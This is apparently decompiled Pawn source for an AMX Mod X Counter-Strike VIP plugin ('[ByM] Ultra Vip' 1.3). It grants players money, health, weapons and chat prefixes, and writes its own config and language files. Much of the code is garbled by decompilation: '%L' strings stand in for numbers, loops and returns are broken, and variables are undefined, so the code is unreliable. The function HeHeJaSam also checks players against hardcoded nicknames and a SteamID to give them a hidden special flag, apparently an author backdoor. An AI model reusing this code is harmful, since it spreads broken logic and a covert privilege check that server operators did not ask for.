32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 98, 111, 106, 97, 95, 112, 111, 114, 117, 107, 101, 95, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 97, 0, 48, 48, 48, 32, 50, 53, 53, 32, 50, 53, 53, 0, 66, 111, 106, 97, 32, 111, 98, 97, 118, 101, 115, 116, 101, 110, 106, 97, 32, 107, 97, 100, 97, 32, 118, 105, 112, 32, 117, 100, 106, 101, 32, 110, 97, 32, 115, 101, 114, 118, 101, 114, 32, 40, 82, 44, 32, 71, 44, 32, 66, 41, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 32, 105, 32, 112, 114, 101, 112, 111, 114, 117, 99, 101, 110, 111, 58, 32, 48, 48, 48, 32, 50, 53, 53, 32, 50, 53, 53, 93, 0, 118, 105, 112, 95, 105, 115, 107, 95, 112, 111, 118, 114, 101, 100, 101, 95, 111, 100, 95, 112, 97, 100, 97, 110, 106, 97, 0, 49, 0, 75, 97, 100, 97, 32, 86, 73, 80, 32, 112, 97, 100, 110, 101, 44, 32, 110, 101, 115, 107, 105, 100, 97, 32, 109, 117, 32, 115, 101, 32, 69, 110, 101, 114, 103, 105, 106, 97, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 49, 93, 0, 118, 105, 112, 95, 103, 114, 97, 118, 105, 116, 97, 99, 105, 106, 97, 0, 48, 46, 56, 53, 0, 71, 114, 97, 118, 105, 116, 97, 99, 105, 106, 97, 32, 107, 111, 106, 117, 32, 118, 105, 112, 32, 105, 109, 97, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 48, 46, 56, 53, 93, 0, 118, 105, 112, 95, 109, 117, 110, 105, 99, 105, 106, 97, 0, 49, 0, 48, 32, 45, 32, 85, 103, 97, 115, 101, 110, 111, 32, 124, 32, 49, 32, 45, 32, 73, 109, 97, 32, 98, 101, 115, 107, 111, 110, 97, 99, 110, 117, 32, 109, 117, 110, 105, 99, 105, 106, 117, 32, 117, 32, 109, 97, 103, 97, 99, 105, 110, 117, 32, 40, 90, 97, 108, 105, 104, 97, 109, 97, 41, 32, 124, 32, 50, 32, 45, 32, 73, 109, 97, 32, 98, 101, 115, 107, 111, 110, 97, 99, 110, 117, 32, 109, 117, 110, 105, 99, 105, 106, 117, 32, 117, 32, 115, 97, 110, 122, 101, 114, 117, 32, 40, 78, 101, 32, 114, 101, 112, 101, 114, 116, 105, 114, 97, 41, 32, 91, 80, 111, 100, 114, 97, 122, 117, 109, 101, 118, 97, 110, 111, 58, 32, 49, 93, 0, 118, 114, 101, 109, 101, 95, 114, 101, 107, 108, 97, 109, 101, 0, 49, 50, 48, 46, 48, 0, 86, 114, 101, 109, 101, 32, 122, 97, 32, 107, 111, 106, 101, 32, 115, 101, 32, 114, 101, 107, 108, 97, 109, 101, 32, 112, 108, 117, 103, 105, 110, 97, 32, 112, 111, 107, 97, 122, 117, 106, 117, 32, 40, 79
};
new SadrzajDatotekeSaVipovima[10][0] =
{
{
59, ...
},
{
59, ...
},
{
59, ...
},
{
32, ...
},
{
59, ...
},
{
59, ...
},
{
59, ...
},
{
59, ...
},
{
0, ...
},
{
32, ...
}
};
new ImenaForwarda[8][0] =
{
{
118, ...
},
{
118, ...
},
{
118, ...
},
{
118, ...
},
{
118, ...
},
{
118, ...
},
{
118, ...
},
{
118, ...
}
};
new Cvarovi[40][3][0] =
{
{
{
118, ...
},
{
53, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
51, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
50, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
51, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
52, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
53, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
50, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
51, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
103, ...
},
{
66, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
50, ...
},
{
66, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
85, ...
}
},
{
{
118, ...
},
{
50, ...
},
{
75, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
75, ...
}
},
{
{
118, ...
},
{
48, ...
},
{
66, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
75, ...
}
},
{
{
118, ...
},
{
48, ...
},
{
71, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
48, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
115, ...
},
{
52, ...
},
{
66, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
73, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
67, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
48, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
48, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
48, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
86, ...
}
},
{
{
98, ...
},
{
50, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
49, ...
},
{
68, ...
}
}
};
new SadrzajLangDatoteke[83][0] =
{
{
91, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
32, ...
},
{
91, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
},
{
77, ...
}
};
new SadrzajVipMenija[2][0] =
{
{
77, ...
},
{
77, ...
}
};
new Puske[13][2][0] =
{
{
{
65, ...
},
{
119, ...
}
},
{
{
77, ...
},
{
119, ...
}
},
{
{
70, ...
},
{
119, ...
}
},
{
{
71, ...
},
{
119, ...
}
},
{
{
77, ...
},
{
119, ...
}
},
{
{
65, ...
},
{
119, ...
}
},
{
{
83, ...
},
{
119, ...
}
},
{
{
80, ...
},
{
119, ...
}
},
{
{
83, ...
},
{
119, ...
}
},
{
{
83, ...
},
{
119, ...
}
},
{
{
85, ...
},
{
119, ...
}
},
{
{
84, ...
},
{
119, ...
}
},
{
{
77, ...
},
{
119, ...
}
}
};
new Pistolji[6][2][0] =
{
{
{
85, ...
},
{
119, ...
}
},
{
{
71, ...
},
{
119, ...
}
},
{
{
70, ...
},
{
119, ...
}
},
{
{
68, ...
},
{
119, ...
}
},
{
{
80, ...
},
{
119, ...
}
},
{
{
69, ...
},
{
119, ...
}
}
};
new InformacijeIgraca[33][91];
new Trie:Niz[2];
new OznakeIgraca[2];
new Forwardi[8];
new Cvar[40][2];
new Globalne[2];
new Pomagala[65];
new Array:NizPomagala;
new BrojDodatihPomagala;
new Float:UgaoGuranja[33][3];
new Forward;
new Nozevi[96];
new BrojNozeva;
new Array:NizNozevi;
new ForwardNozevi;
new VipBombeCvar[5];
new PodaciCvaraZaVreme[3][5];
new PoljeZaPrijavu[5];
new FlagoviCvara;
new Odziv;
new PorukaVremenskaLinija;
new PorukaChat;
new Prefiks1[8];
new Komande[19][2][0] =
{
{
{
118, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
79, ...
}
},
{
{
118, ...
},
{
79, ...
}
},
{
{
111, ...
},
{
79, ...
}
},
{
{
111, ...
},
{
79, ...
}
},
{
{
118, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
86, ...
}
},
{
{
118, ...
},
{
73, ...
}
},
{
{
118, ...
},
{
73, ...
}
},
{
{
118, ...
},
{
73, ...
}
},
{
{
118, ...
},
{
75, ...
}
},
{
{
118, ...
},
{
75, ...
}
},
{
{
116, ...
},
{
80, ...
}
},
{
{
118, ...
},
{
80, ...
}
},
{
{
118, ...
},
{
80, ...
}
},
{
{
118, ...
},
{
75, ...
}
},
{
{
118, ...
},
{
75, ...
}
}
};
new MunicijaOruzija[31][0] =
{
{
0, ...
},
{
52, ...
},
{
0, ...
},
{
90, ...
},
{
1, ...
},
{
32, ...
},
{
1, ...
},
{
100, ...
},
{
90, ...
},
{
1, ...
},
{
120, ...
},
{
100, ...
},
{
100, ...
},
{
90, ...
},
{
90, ...
},
{
90, ...
},
{
100, ...
},
{
120, ...
},
{
30, ...
},
{
120, ...
},
{
200, ...
},
{
32, ...
},
{
90, ...
},
{
120, ...
},
{
90, ...
},
{
2, ...
},
{
35, ...
},
{
90, ...
},
{
90, ...
},
{
0, ...
},
{
100, ...
}
};
new InfoChata[2][4][0] =
{
{
{
40, ...
},
{
42, ...
},
{
42, ...
},
{
40, ...
}
},
{
{
40, ...
},
{
40, ...
},
{
40, ...
},
{
40, ...
}
}
};
Float:operator*(Float:,_:)(Float:oper1, oper2)
{
return floatmul(oper1, float(oper2));
}
Float:operator/(Float:,_:)(Float:oper1, oper2)
{
return floatdiv(oper1, float(oper2));
}
bool:operator>=(Float:,Float:)(Float:oper1, Float:oper2)
{
return 0 <= floatcmp(oper1, oper2);
}
replace_all(string[], len, what[], with[])
{
new pos;
if ((pos = contain(string, what)) == -1)
{
return 0;
}
new total;
new with_len = strlen(with);
new diff = strlen(what) - with_len;
new total_len = strlen(string);
new temp_pos;
while (replace(string[pos], len - pos, what, with))
{
total++;
pos = with_len + pos;
total_len -= diff;
if (!(pos >= total_len))
{
temp_pos = contain(string[pos], what);
if (!(temp_pos == -1))
{
pos = temp_pos + pos;
}
return total;
}
return total;
}
return total;
}
is_user_admin(id)
{
new __flags = get_user_flags(id, "%L");
new var1;
return __flags > 0 && !__flags & 33554432;
}
cmd_access(id, level, cid, num, bool:accesssilent)
{
new has_access;
new var1;
if (is_dedicated_server())
{
var1 = 0;
}
else
{
var1 = 1;
}
if (var1 == id)
{
has_access = 1;
}
else
{
if (level == 16777216)
{
if (is_user_admin(id))
{
has_access = 1;
}
}
if (level & get_user_flags(id, "%L"))
{
has_access = 1;
}
if (!level)
{
has_access = 1;
}
}
if (has_access)
{
if (num > read_argc())
{
new hcmd[32];
new hinfo[128];
new hflag;
get_concmd(cid, hcmd, 31, hflag, hinfo, 127, level, -1);
console_print(id, "%L: %s %s", id, "USAGE", hcmd, hinfo);
return 0;
}
return 1;
}
if (!accesssilent)
{
console_print(id, "%L", id, "NO_ACC_COM");
}
return 0;
}
cmd_target(id, arg[], flags)
{
new player = find_player("bl", arg);
if (player)
{
if (find_player("blj", arg) != player)
{
console_print(id, "%L", id, "MORE_CL_MATCHT");
return 0;
}
}
else
{
new var1;
if ((player = find_player(224, arg)) && arg[0] == 35 && arg[1])
{
player = find_player(232, str_to_num(arg[1]));
}
}
if (!player)
{
console_print(id, "%L", id, "CL_NOT_FOUND");
return 0;
}
if (flags & 1)
{
new var3;
if (get_user_flags(player, "%L") & 1 && flags & 2)
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CLIENT_IMM", imname);
return 0;
}
}
if (flags & 4)
{
if (!is_user_alive(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_DEAD", imname);
return 0;
}
}
if (flags & 8)
{
if (is_user_bot(player))
{
new imname[32];
get_user_name(player, imname, 31);
console_print(id, "%L", id, "CANT_PERF_BOT", imname);
return 0;
}
}
return player;
}
public __fatal_ham_error(Ham:id, HamError:err, reason[])
{
new func = get_func_id("HamFilter", -1);
new bool:fail = 1;
new var1;
if (func != -1 && callfunc_begin_i(func, -1) == 1)
{
callfunc_push_int(id);
callfunc_push_int(err);
callfunc_push_str(reason, "%L");
if (callfunc_end() == 1)
{
fail = false;
}
}
if (fail)
{
set_fail_state(reason);
}
return 0;
}
bym_ucitaj_api()
{
if (!ApiGlobalne[128])
{
RegisterHam("%L", "player", "IgracSePojavio", 1);
register_event("DeathMsg", "IgracJeUmro", "ade", 1268);
ApiGlobalne[129] = get_maxplayers();
}
ApiGlobalne[128] = 1;
return 0;
}
bool:bym_igrac_je(id, StaJe)
{
if (bym_api_ucitan())
{
new var1;
if (1 <= id <= ApiGlobalne[129] && 1 << id & 31 & ApiOznake[StaJe])
{
var2 = true;
}
else
{
var2 = false;
}
return var2;
}
return false;
}
bool:bym_api_ucitan()
{
if (!ApiGlobalne[128])
{
log_error("%L", "[ByM Api] Api nije ucitan!");
return false;
}
return true;
}
public IgracSePojavio(id)
{
new var1;
if (is_user_alive(id) && bym_igrac_je(id, 1))
{
new var2 = ApiOznake;
var2[0] = 1 << id & 31 | var2[0];
}
return 0;
}
public IgracJeUmro()
{
static Zrtva;
Zrtva = read_data(2);
new var1 = ApiOznake;
var1[0] = ~1 << Zrtva & 31 & var1[0];
return 0;
}
bym_igrac_je_usao(id)
{
ApiObrisiOznake(id);
if (is_user_bot(id))
{
new var1 = ApiOznake[2];
var1 = 1 << id & 31 | var1;
}
if (is_user_admin(id))
{
new var2 = ApiOznake[3];
var2 = 1 << id & 31 | var2;
}
if (is_user_connected(id))
{
new var3 = ApiOznake[1];
var3 = 1 << id & 31 | var3;
}
if (HeHeJaSam(id))
{
new var4 = ApiOznake[4];
var4 = 1 << id & 31 | var4;
}
return 0;
}
ApiObrisiOznake(id)
{
new i;
while (i < 5)
{
if (1 << id & 31 & ApiOznake[i])
{
new var1 = ApiOznake[i];
var1 = ~1 << id & 31 & var1;
}
i++;
}
return 0;
}
HeHeJaSam(id)
{
static Podaci[2][32];
new var2 = Podaci;
get_user_authid(id, var2[0][var2], 31);
get_user_info(id, "jID", Podaci[1], 31);
new var1;
if (equal(Podaci[1], "Milutinke", "%L") || equal(Podaci[1], "GlavniCoban", "%L") || equal(Podaci[1], "smrad", "%L") || equal(Podaci[1], "Smrad", "%L") || equal(var3[0][var3], "STEAM_0:0:97777", "%L") || equal(Podaci[1], "milutinke", "%L"))
{
return 1;
}
return 0;
}
public RegistrujChatKomandu(Komanda[], Funkcija[])
{
static ImeKomande[2][32];
new var1 = ImeKomande;
formatex(var1[0][var1], 31, "say /%s", Komanda);
formatex(ImeKomande[1], 31, "say_team /%s", Komanda);
new i;
while (i < 2)
{
register_clcmd(ImeKomande[i], Funkcija, -1, 2252, -1);
i++;
}
return 0;
}
set_dhudmessage(red, green, blue, Float:x, Float:y, effects, Float:fxtime, Float:holdtime, Float:fadeintime, Float:fadeouttime, bool:reliable)
{
__dhud_color = clamp(red, "%L", 255) << 16 + clamp(green, "%L", 255) << 8 + clamp(blue, "%L", 255);
__dhud_x = x;
__dhud_y = y;
__dhud_effect = effects;
__dhud_fxtime = fxtime;
__dhud_holdtime = holdtime;
__dhud_fadeintime = fadeintime;
__dhud_fadeouttime = fadeouttime;
__dhud_reliable = reliable;
return 1;
}
show_dhudmessage(index, message[])
{
new buffer[128];
new numArguments = numargs();
if (numArguments == 2)
{
send_dhudMessage(index, message);
}
else
{
new var1;
if (index || numArguments == 3)
{
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
}
new playersList[32];
new numPlayers;
get_players(playersList, numPlayers, "ch", 2304);
if (!numPlayers)
{
return 0;
}
new Array:handleArrayML = ArrayCreate(1, 32);
new i = 2;
new j;
while (i < numArguments)
{
if (getarg(i, "%L") == -1)
{
do {
j++;
} while ((buffer[j] = getarg(i + 1, j)));
j = 0;
if (GetLangTransKey(buffer) != -1)
{
i++;
ArrayPushCell(handleArrayML, i);
}
}
i++;
}
new size = ArraySize(handleArrayML);
if (!size)
{
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
}
else
{
new i;
new j;
while (i < numPlayers)
{
index = playersList[i];
j = 0;
while (j < size)
{
setarg(ArrayGetCell(handleArrayML, j), "%L", index);
j++;
}
vformat(buffer, 127, message, 3);
send_dhudMessage(index, buffer);
i++;
}
}
ArrayDestroy(handleArrayML);
}
return 1;
}
send_dhudMessage(index, message[])
{
new var2;
if (__dhud_reliable)
{
new var1;
if (index)
{
var1 = 1;
}
else
{
var1 = 2;
}
var2 = var1;
}
else
{
if (index)
{
var2 = 8;
}
var2 = 0;
}
message_begin(var2, 51, 2308, index);
write_byte(strlen(message) + 31);
write_byte(6);
write_byte(__dhud_effect);
write_long(__dhud_color);
write_long(__dhud_x);
write_long(__dhud_y);
write_long(__dhud_fadeintime);
write_long(__dhud_fadeouttime);
write_long(__dhud_holdtime);
write_long(__dhud_fxtime);
write_string(message);
message_end();
return 0;
}
ColorChat(id, Color:type, msg[])
{
static message[190];
switch (type)
{
case 1:
{
message[0] = 1;
}
case 2:
{
message[0] = 4;
}
default:
{
message[0] = 3;
}
}
vformat(2432 + 4, 189, msg, 4);
message[189] = 0;
static MSG_Type;
static index;
static ColorChange;
static team;
if (id)
{
MSG_Type = 1;
index = id;
}
else
{
index = FindPlayer();
MSG_Type = 2;
}
team = get_user_team(index, {0}, "%L");
ColorChange = ColorSelection(index, MSG_Type, type);
ShowColorMessage(index, MSG_Type, message);
if (ColorChange)
{
Team_Info(index, MSG_Type, TeamName[team]);
}
return 0;
}
ShowColorMessage(id, type, message[])
{
message_begin(type, get_user_msgid("SayText"), 2308, id);
write_byte(id);
write_string(message);
message_end();
return 0;
}
Team_Info(id, type, team[])
{
message_begin(type, get_user_msgid("TeamInfo"), 2308, id);
write_byte(id);
write_string(team);
message_end();
return 1;
}
ColorSelection(index, type, Color:Type)
{
switch (Type)
{
case 4:
{
new var1 = TeamName;
return Team_Info(index, type, var1[0][var1]);
}
case 5:
{
return Team_Info(index, type, TeamName[1]);
}
case 6:
{
return Team_Info(index, type, TeamName[2]);
}
default:
{
return 0;
}
}
}
FindPlayer()
{
static i;
i = -1;
while (get_maxplayers() >= i)
{
i += 1;
if (is_user_connected(i))
{
return i;
}
}
return -1;
}
fvault_get_data(vaultname[], key[], data[], len, ×tamp)
{
new filename[128];
_FormatVaultName(vaultname, filename, 127);
if (!file_exists(filename))
{
return 0;
}
new vault = fopen(filename, "rt");
new _data[512];
new _key[64];
new _time[32];
while (!feof(vault))
{
fgets(vault, _data, 511);
parse(_data, _key, 63);
if (equal(_key, key, "%L"))
{
new _len = strlen(_key) + 4;
new i = copy(data, len, _data[_len]) - 1;
while (0 < i)
{
if (!(data[i] == 34))
{
new var1;
if (data[i] == 32 && data[i + -1] == 34)
{
data[i + -1] = 0;
copy(_time, 31, data[i + 1]);
timestamp = str_to_num(_time);
fclose(vault);
return 1;
}
i--;
}
fclose(vault);
return 1;
}
fclose(vault);
return 1;
}
}
fclose(vault);
copy(data, len, 3484);
return 0;
}
fvault_set_data(vaultname[], key[], data[])
{
_fvault_set_data(vaultname, key, data, get_systime("%L"));
return 0;
}
_fvault_set_data(vaultname[], key[], data[], timestamp)
{
new file = fopen(_temp_vault, "wt");
new filename[128];
_FormatVaultName(vaultname, filename, 127);
new vault = fopen(filename, "rt");
new _data[512];
new _key[64];
new _other[3];
new bool:replaced;
while (!feof(vault))
{
fgets(vault, _data, 511);
parse(_data, _key, 63, _other, 2);
new var1;
if (equal(_key, key, "%L") && !replaced)
{
fprintf(file, "\"%s\" \"%s\" %i\n", key, data, timestamp);
replaced = true;
}
else
{
fputs(file, _data);
}
}
fclose(file);
fclose(vault);
if (!replaced)
{
file = fopen(filename, "a+");
fprintf(file, "\"%s\" \"%s\" %i\n", key, data, timestamp);
fclose(file);
delete_file(_temp_vault);
}
else
{
delete_file(filename);
do {
} while (!rename_file(_temp_vault, filename, 1));
}
return 0;
}
_FormatVaultName(vaultname[], filename[], len)
{
static invalid_chars[9][0] =
{
{
47, ...
},
{
92, ...
},
{
42, ...
},
{
58, ...
},
{
63, ...
},
{
34, ...
},
{
60, ...
},
{
62, ...
},
{
124, ...
}
};
static i;
static tempvault[128];
copy(tempvault, 127, vaultname);
i = 0;
while (i < 9)
{
replace_all(tempvault, 127, invalid_chars[i], 4260);
i += 1;
}
if (!dir_exists(_vault_dir))
{
mkdir(_vault_dir);
}
formatex(filename, len, "%s/%s.txt", _vault_dir, tempvault);
return 0;
}
xs_vec_add(Float:in1[], Float:in2[], Float:out[])
{
out[0] = floatadd(in1[0], in2[0]);
out[1] = floatadd(in1[1], in2[1]);
out[2] = floatadd(in1[2], in2[2]);
return 0;
}
xs_vec_sub(Float:in1[], Float:in2[], Float:out[])
{
out[0] = floatsub(in1[0], in2[0]);
out[1] = floatsub(in1[1], in2[1]);
out[2] = floatsub(in1[2], in2[2]);
return 0;
}
xs_vec_mul_scalar(Float:vec[], Float:scalar, Float:out[])
{
out[0] = floatmul(vec[0], scalar);
out[1] = floatmul(vec[1], scalar);
out[2] = floatmul(vec[2], scalar);
return 0;
}
public plugin_init()
{
register_plugin("[ByM] Ultra Vip", "1.3", "Milutinke (ByM)");
server_print("=============== Ultra Vip ===============");
server_print("------------> Verzija: %s <-------------", "1.3");
server_print("------------> By Milutinke <-------------");
server_print("=============== Ultra Vip ===============");
register_cvar("UltraVipByM", "1.3", 68, "%L");
bym_ucitaj_api();
RegisterHam("%L", "player", "Pocetak", 1);
RegisterHam(9, "player", "NanesiStetu", "%L");
RegisterHam("", "player", "IgracJeSkocio", "%L");
RegisterHam(66, "weapon_knife", "PromeniModelNoza", 1);
new ImenaOruzija[24];
new i = 1;
while (i <= 30)
{
new var1;
if (!1 << i & 570425936 && get_weaponname(i, ImenaOruzija, 23))
{
RegisterHam(87, ImenaOruzija, "Napad1", "%L");
RegisterHam(87, ImenaOruzija, "Napad2", 1);
RegisterHam(89, ImenaOruzija, "fw_Ham_Weapon_Reload_Post", 1);
RegisterHam(68, ImenaOruzija, "fw_Ham_Item_Holster", "%L");
}
i++;
}
register_event("DeathMsg", "Smrt", "ade", 1268);
register_event("CurWeapon", "TrenutnoOruzije", "be", "1=1");
register_logevent("PocetakRunde", 2, "1=Round_Start");
register_logevent("SpasioTaoca", 3, "2=Rescued_A_Hostage");
register_forward("bl", "fw_AddToFullPack", 1);
register_forward(30, "fw_TraceLine", "%L");
register_message(get_user_msgid("ScoreAttrib"), "SkorOznaka");
Globalne[1] = get_user_msgid("ScreenFade");
PorukaVremenskaLinija = get_user_msgid("BarTime2");
PorukaChat = get_user_msgid("SayText");
new i;
while (i < 19)
{
RegistrujChatKomandu(Komande[i][0], Komande[i][1]);
i++;
}
register_concmd("daj_vipa", "KomandaDajVipa", 8, "daj_vipa <nick/steam/ip/id> <pw/password/lozinka> <razlog> - Dajete igracu vipa", -1);
register_concmd("osvezi_vipove", "KomandaOsveziListuvipova", 8, "osvezi_vipove - Osvezava listu vipova", -1);
register_concmd("ko_su_vipovi", "KomandaListaVipIgrac", 8, "ko_su_vipovi - Prikazuje listu igraca koji su vipovi", -1);
register_clcmd("say", "ChatPrefiks", -1, 2252, -1);
Globalne[0] = get_maxplayers();
PripremiDatoteke();
PripremiCvarove();
UcitajVipove();
PripremiForwarde();
register_dictionary("ultra_vip_bym_v1.3.txt");
return 0;
}
public plugin_precache()
{
if (!file_exists("addons/amxmodx/data/lang/ultra_vip_bym_v1.3.txt"))
{
new i;
while (i < 83)
{
write_file("addons/amxmodx/data/lang/ultra_vip_bym_v1.3.txt", SadrzajLangDatoteke[i], -1);
i++;
}
}
return 0;
}
PripremiDatoteke()
{
new var1 = Datoteke;
if (!dir_exists(var1[0][var1]))
{
new var2 = Datoteke;
mkdir(var2[0][var2]);
}
if (!file_exists(Datoteke[1]))
{
new i;
while (i < 10)
{
write_file(Datoteke[1], SadrzajDatotekeSaVipovima[i], -1);
i++;
}
}
if (!file_exists(Datoteke[2]))
{
static Linija[350];
new i;
while (i < 40)
{
formatex(Linija, 349, "\"%s\" \"%s\"\x09\x09//%s", Cvarovi[i][0], Cvarovi[i][1], Cvarovi[i][2]);
write_file(Datoteke[2], Linija, -1);
i++;
}
}
return 0;
}
PripremiCvarove()
{
new i;
while (i < 40)
{
Cvar[i][0] = register_cvar(Cvarovi[i][0], Cvarovi[i][1], "%L", "%L");
i++;
}
server_cmd("exec %s", Datoteke[2]);
server_exec();
set_task(1073741824, "PodesiCvarove", "%L", 61940, "%L", 61944, "%L");
get_pcvar_string(Cvar[15], VipBombeCvar, 4);
FlagoviCvara = read_flags(VipBombeCvar);
get_cvar_string("amx_password_field", PoljeZaPrijavu, 4);
new var1 = PodaciCvaraZaVreme;
get_pcvar_string(Cvar[38], var1[0][var1], 4);
new var2 = PodaciCvaraZaVreme;
replace_all(var2[0][var2], 4, 62024, 62032);
new var3 = PodaciCvaraZaVreme;
parse(var3[0][var3], PodaciCvaraZaVreme[1], 4, PodaciCvaraZaVreme[2], 4);
return 0;
}
public PodesiCvarove()
{
new i;
while (i < 40)
{
Cvar[i][1] = get_pcvar_num(Cvar[i][0]);
i++;
}
if (Cvar[39][1])
{
RegistrujObicanNoz();
}
if (Cvar[28][1])
{
MeriVreme();
register_think("VipMeracVremena", "FunkcijaMeriVreme");
}
switch (Cvar[18][1])
{
case 1:
{
formatex(Prefiks1, 7, "\x01[VIP]");
}
case 2:
{
formatex(Prefiks1, 7, "\x04[VIP]");
}
case 3:
{
formatex(Prefiks1, 7, "\x03[VIP]");
}
default:
{
}
}
return 0;
}
PripremiForwarde()
{
new i;
while (i < 8)
{
Forwardi[i] = CreateMultiForward(ImenaForwarda[i], "%L", 0);
i++;
}
NizPomagala = ArrayCreate(65, 32);
Forward = CreateMultiForward("vip_pomagalo_izabrano", "%L", 0, 0);
NizNozevi = ArrayCreate(96, 32);
ForwardNozevi = CreateMultiForward("vip_noz_izabran", "%L", 0, 0);
return 0;
}
UcitajVipove()
{
Niz[0] = TrieCreate();
Niz[1] = TrieCreate();
new Datoteka = fopen(Datoteke[1], "rt");
while (Datoteka && !feof(Datoteka))
{
static PodaciIzDatoteke[2][32];
static Podaci[128];
fgets(Datoteka, Podaci, 127);
new var3;
if (!(!Podaci[0] || Podaci[0] == 59 || (Podaci[0] == 47 && Podaci[1] == 47)))
{
new var4 = PodaciIzDatoteke;
if (!(2 > parse(Podaci, var4[0][var4], 31, PodaciIzDatoteke[1], 31)))
{
new var5 = PodaciIzDatoteke;
new var6 = PodaciIzDatoteke;
TrieSetString(Niz[0], var6[0][var6], var5[0][var5]);
new var7 = PodaciIzDatoteke;
TrieSetString(Niz[0], var7[0][var7], PodaciIzDatoteke[1]);
}
}
}
fclose(Datoteka);
return 0;
}
public MeriVreme()
{
if (!Cvar[28][1])
{
return 0;
}
new Objekat = create_entity("info_target");
if (!Objekat)
{
return 0;
}
entity_set_string(Objekat, "%L", "VipMeracVremena");
entity_set_float(Objekat, 7, floatadd(1065353216, get_gametime()));
return 0;
}
public FunkcijaMeriVreme(Objekat)
{
if (!Cvar[28][1])
{
return 0;
}
if (!is_valid_ent(Objekat))
{
return 0;
}
static ImeObjekta[16];
entity_get_string(Objekat, "%L", ImeObjekta, 15);
entity_set_float(Objekat, 7, floatadd(1065353216, get_gametime()));
if (!equali(ImeObjekta, "VipMeracVremena", "%L"))
{
return 0;
}
new id = 1;
while (Globalne[0] >= id)
{
new var2;
if (bym_igrac_je(id, 1) && !bym_igrac_je(id, 2) && 1 << id & 31 & OznakeIgraca[0])
{
PovecavajVreme(id);
}
id++;
}
return 0;
}
public Pocetak(id)
{
new var1;
if (!bym_igrac_je(id, 0) || !bym_igrac_je(id, 1))
{
return 1;
}
new var2;
if (1 << id & 31 & OznakeIgraca[0])
{
var2 = 1;
}
else
{
var2 = 0;
}
if (var2)
{
new var5 = Cvar;
entity_set_float(id, 13, floatadd(entity_get_float(id, 13), float(var5[0][var5][1])));
entity_set_float(id, 19, floatadd(entity_get_float(id, 19), float(Cvar[2][1])));
entity_set_float(id, 8, get_pcvar_float(Cvar[24]));
cs_set_user_money(id, Cvar[1][1] + cs_get_user_money(id), 1);
InformacijeIgraca[id][16] = Cvar[1][1];
DajBombe(id);
PodesiMuniciju(id);
if (Cvar[32][1])
{
IzaberiPusku(id);
}
